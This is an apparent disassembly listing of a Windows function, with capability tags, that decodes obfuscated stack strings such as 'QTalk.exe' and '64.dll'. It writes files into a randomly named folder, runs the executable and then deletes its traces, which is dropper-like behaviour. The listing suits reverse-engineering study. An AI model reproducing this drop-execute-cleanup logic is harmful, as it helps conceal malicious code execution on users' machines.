Function at 0x401490
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Delete file
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd84
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xd14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xd00], esi
mov dword [ebp - 0xd2c], eax
push edi
test esi, esi
je 0x4016ca
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jle 0x4016ca
lea eax, [edi + 1]
push eax
call fcn.0040772f
add esp, 4
mov dword [ebp - 0xd04], eax
test eax, eax
je 0x4016ca
lea ecx, [edi + 1]
push ecx
push 0
push eax
call fcn.0040eb10
add esp, 0xc
push 0
push 0
push edi
push dword [ebp - 0xd04]
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x1fc
lea eax, [ebp - 0xcf8]
mov dword [ebp - 0xcfc], 0
push 0
push eax
call fcn.0040eb10
add esp, 0xc
lea eax, [ebp - 0xafc]
push 0x204
push 0
push eax
call fcn.0040eb10
mov edx, dword [0x54dcd0]
add esp, 0xc
test edx, edx
jle 0x40172a
push ecx
mov ecx, 0x4223e4
call fcn.00407490
mov edi, eax
test edi, edi
je 0x4016ca
xor esi, esi
lea esp, [esp]
cmp dword [edi], 1
jne 0x401633
mov ecx, dword [edi + 4]
lea eax, [ebp - 0x3e4]
push eax
push esi
call fcn.00406cd0
mov dword [0x54ed98], eax
test eax, eax
jne 0x40163d
push 0x104
call fcn.00408424
add esp, 4
mov dword [esi*4 + 0x54eda0], eax
lea ecx, [ebp - 0x3e0]
push ecx
push 0x104
push eax
call fcn.004078b0
add esp, 0xc
push dword [ebp - 0x2bc]
call fcn.00408424
mov dword [esi*4 + 0x54efa0], eax
add esp, 4
cmp dword [edi], 1
mov eax, dword [ebp - 0x2bc]
mov dword [esi*4 + 0x54f1a0], eax
je 0x401616
mov dword [0x54ed98], 0x80000
inc esi
jmp 0x401590
push ecx
mov ecx, dword [edi + 4]
push eax
push dword [esi*4 + 0x54efa0]
push esi
call fcn.00407390
mov dword [0x54ed98], eax
inc esi
jmp 0x401590
mov dword [0x54ed98], 0x80000
mov dword [0x54f3a0], esi
cmp esi, 2
jl 0x4016ca
xor edi, edi
call fcn.00401310
test eax, eax
mov dword [ebp - 0x18], 0x642e3638
mov ecx, 1
mov word [ebp - 0x14], 0x6c6c
lea eax, [ebp - 0x18]
mov byte [ebp - 0x12], 0
cmovne edi, ecx
mov dword [ebp - 0xd10], eax
mov ecx, dword [0x54f3a0]
lea eax, [ebp - 0x10]
xor esi, esi
mov dword [ebp - 0x10], 0x642e3436
mov word [ebp - 0xc], 0x6c6c
mov byte [ebp - 0xa], 0
mov dword [ebp - 0xd0c], eax
test ecx, ecx
jle 0x4016ca
lea ecx, [ecx]
mov eax, dword [esi*4 + 0x54eda0]
test eax, eax
je 0x4016c5
push eax
push dword [ebp + edi*4 - 0xd10]
call fcn.004084ee
add esp, 8
test eax, eax
je 0x4016dc
mov ecx, dword [0x54f3a0]
inc esi
cmp esi, ecx
jl 0x4016a0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040767f
mov esp, ebp
pop ebp
ret 0xc
push 0x41d68c
push dword [ebp - 0xd00]
lea eax, [ebp - 0xd08]
push eax
call fcn.004085ca
mov eax, dword [ebp - 0xd08]
add esp, 0xc
test eax, eax
je 0x4016ca
push eax
push dword [esi*4 + 0x54f1a0]
push 1
push dword [esi*4 + 0x54efa0]
call fcn.00408832
push dword [ebp - 0xd08]
call fcn.00408920
mov esi, dword [ebp - 0xd00]
add esp, 0x14
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4016ca
mov edx, dword [0x54dcd4]
test edx, edx
jle 0x4016ca
push ecx
mov ecx, 0x4811c4
call fcn.00407490
mov dword [ebp - 0xd08], eax
test eax, eax
je 0x4016ca
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x2b4], ax
lea eax, [ebp - 0x2b2]
push eax
call fcn.0040eb10
add esp, 0xc
lea eax, [ebp - 0x2b4]
push 0x104
push dword [ebp - 0xd14]
push 0x104
push eax
call fcn.00407961
lea eax, [ebp - 0xd0c]
mov dword [ebp - 0xd0c], 0x5c
push eax
lea eax, [ebp - 0x2b4]
push 0x104
push eax
call fcn.004077f9
add esp, 0x1c
xor eax, eax
mov word [ebp - 0xac], ax
push 0x62
push eax
lea eax, [ebp - 0xaa]
push eax
call fcn.0040eb10
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004089b8
add esp, 4
call fcn.00408997
cdq
mov ecx, 0x1a
idiv ecx
xor esi, esi
lea edi, [edx + 1]
test edi, edi
jle 0x40180f
call fcn.00408997
cdq
idiv edi
add edx, 0x61
mov word [ebp + esi*2 - 0xac], dx
inc esi
cmp esi, edi
jl 0x4017f7
add edi, edi
cmp edi, 0x64
jae 0x401d2b
xor eax, eax
mov word [ebp + edi - 0xac], ax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x2b4]
push 0x104
push eax
call fcn.004077f9
add esp, 0xc
lea eax, [ebp - 0xd0c]
push eax
lea eax, [ebp - 0x2b4]
push 0x104
push eax
call fcn.004077f9
add esp, 0xc
push 0x208
call fcn.00408424
mov esi, eax
add esp, 4
test esi, esi
je 0x4016ca
mov ecx, dword [ebp - 0x8fc]
push 0x104
push 0
push esi
mov dword [ebp + ecx*4 - 0xcfc], esi
call fcn.0040eb10
add esp, 0xc
lea eax, [ebp - 0x2b4]
push eax
push 0x104
push esi
call fcn.00407905
mov eax, dword [ebp - 0x8fc]
add esp, 0xc
mov dword [ebp + eax*4 - 0xafc], 1
lea eax, [ebp - 0x2b4]
mov edi, dword [ebp - 0x8fc]
inc edi
push eax
mov dword [ebp - 0x8fc], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4016ca
lea eax, [ebp - 0x2b4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
xor eax, eax
mov dword [ebp - 0xd28], 0x540051
push 0x206
push eax
mov word [ebp - 0x6c4], ax
lea eax, [ebp - 0x6c2]
push eax
mov dword [ebp - 0xd24], 0x6c0061
mov dword [ebp - 0xd20], 0x2e006b
mov dword [ebp - 0xd1c], 0x780065
mov dword [ebp - 0xd18], 0x65
call fcn.0040eb10
add esp, 0xc
xor eax, eax
mov word [ebp - 0x4bc], ax
push 0x206
push eax
lea eax, [ebp - 0x4ba]
push eax
call fcn.0040eb10
mov ecx, dword [ebp - 0xd08]
lea eax, [ebp - 0x8f4]
add esp, 0xc
xor esi, esi
xor edx, edx
mov dword [ebp - 0xd00], esi
push eax
call fcn.00407510
test eax, eax
jne 0x401b3d
jmp 0x401980
lea eax, [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x4bc]
push 0x104
push eax
call fcn.00407905
add esp, 0xc
lea eax, [ebp - 0x8f0]
push eax
lea eax, [ebp - 0x4bc]
push 0x104
push eax
call fcn.004077f9
add esp, 0xc
lea eax, [ebp - 0xd28]
lea ecx, [ebp - 0x8f0]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4019e8
test dx, dx
je 0x4019e4
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4019e8
add ecx, 4
add eax, 4
test dx, dx
jne 0x4019c2
xor eax, eax
jmp 0x4019ed
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401a0c
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x6c4]
push 0x104
push eax
call fcn.00407905
add esp, 0xc
mov eax, dword [ebp - 0x6e8]
test al, 0x10
je 0x401a2b
push 0
lea eax, [ebp - 0x4bc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x6e8]
test al, 0x20
je 0x401b1a
push 0x41d68c
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004085ca
add esp, 0xc
cmp dword [ebp - 0x10], 0
je 0x401b1a
push dword [ebp - 0x6c8]
call fcn.00408424
add esp, 4
mov esi, eax
push dword [ebp - 0x6c8]
push 0
push esi
call fcn.0040eb10
mov edx, dword [ebp - 0xd00]
add esp, 8
mov ecx, dword [ebp - 0xd08]
push dword [ebp - 0x6c8]
push esi
call fcn.00407630
push dword [ebp - 0x10]
push dword [ebp - 0x6c8]
push 1
push esi
call fcn.00408832
push dword [ebp - 0x10]
call fcn.00408920
add esp, 0x14
push esi
call fcn.00407bc2
add esp, 4
push 0x208
call fcn.00408424
mov esi, eax
add esp, 4
test esi, esi
je 0x4016ca
push 0x104
push 0
push esi
mov dword [ebp + edi*4 - 0xcfc], esi
call fcn.0040eb10
add esp, 0xc
lea eax, [ebp - 0x4bc]
push eax
push 0x104
push esi
call fcn.00407905
mov eax, dword [ebp - 0x8fc]
add esp, 0xc
mov esi, dword [ebp - 0xd00]
mov dword [ebp + eax*4 - 0xafc], 0
mov edi, dword [ebp - 0x8fc]
inc edi
mov dword [ebp - 0x8fc], edi
mov ecx, dword [ebp - 0xd08]
lea eax, [ebp - 0x8f4]
inc esi
push eax
mov edx, esi
mov dword [ebp - 0xd00], esi
call fcn.00407510
test eax, eax
je 0x401980
lea eax, [ebp - 0x6c4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4016ca
lea eax, [ebp - 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor eax, eax
mov dword [ebp - 0x40], 0x6e0049
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x3c], 0x720070
push 0x104
push eax
mov dword [ebp - 0x38], 0x63006f
mov dword [ebp - 0x34], 0x650053
mov dword [ebp - 0x30], 0x760072
mov dword [ebp - 0x2c], 0x720065
mov dword [ebp - 0x28], 0x320033
mov dword [ebp - 0x24], 0x74002e
mov dword [ebp - 0x20], 0x740078
call fcn.004077f9
add esp, 0xc
lea eax, [ebp - 0x2b4]
push 0x41d68c
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004085ca
mov esi, dword [ebp - 0x18]
add esp, 0xc
test esi, esi
je 0x4016ca
mov ecx, dword [ebp - 0xd04]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401be8
push esi
sub ecx, edx
push ecx
push 1
push dword [ebp - 0xd04]
call fcn.00408832
push dword [ebp - 0x18]
call fcn.00408920
add esp, 0x14
mov dword [ebp - 0xd84], 0x44
xor eax, eax
mov dword [ebp - 0xd80], 0
mov dword [ebp - 0xd54], eax
mov dword [ebp - 0xd50], eax
lea eax, [ebp - 0xd3c]
push eax
lea eax, [ebp - 0xd84]
mov dword [ebp - 0xd7c], 0x41d630
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0xd78], 0
push eax
push 0
mov dword [ebp - 0xd58], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4016ca
push 0xffffffffffffffff
push dword [ebp - 0xd3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xd38]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xd3c]
call esi
xor esi, esi
mov dword [ebp - 0xd04], 0
test edi, edi
jle 0x401cdc
mov eax, dword [ebp + esi*4 - 0xcfc]
test eax, eax
je 0x401cd7
cmp dword [ebp + esi*4 - 0xafc], 0
je 0x401cd0
mov dword [ebp - 0xd04], eax
jmp 0x401cd7
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc esi
cmp esi, edi
jl 0x401cb3
push dword [ebp - 0xd14]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov eax, dword [ebp - 0xd04]
test eax, eax
je 0x401cf9
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call fcn.00401360
push 0
push 0
push 1
push 0
push 7
push 0x10000000
push dword [ebp - 0xd2c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0040767f
mov esp, ebp
pop ebp
ret 0xc
call fcn.00407cff
int3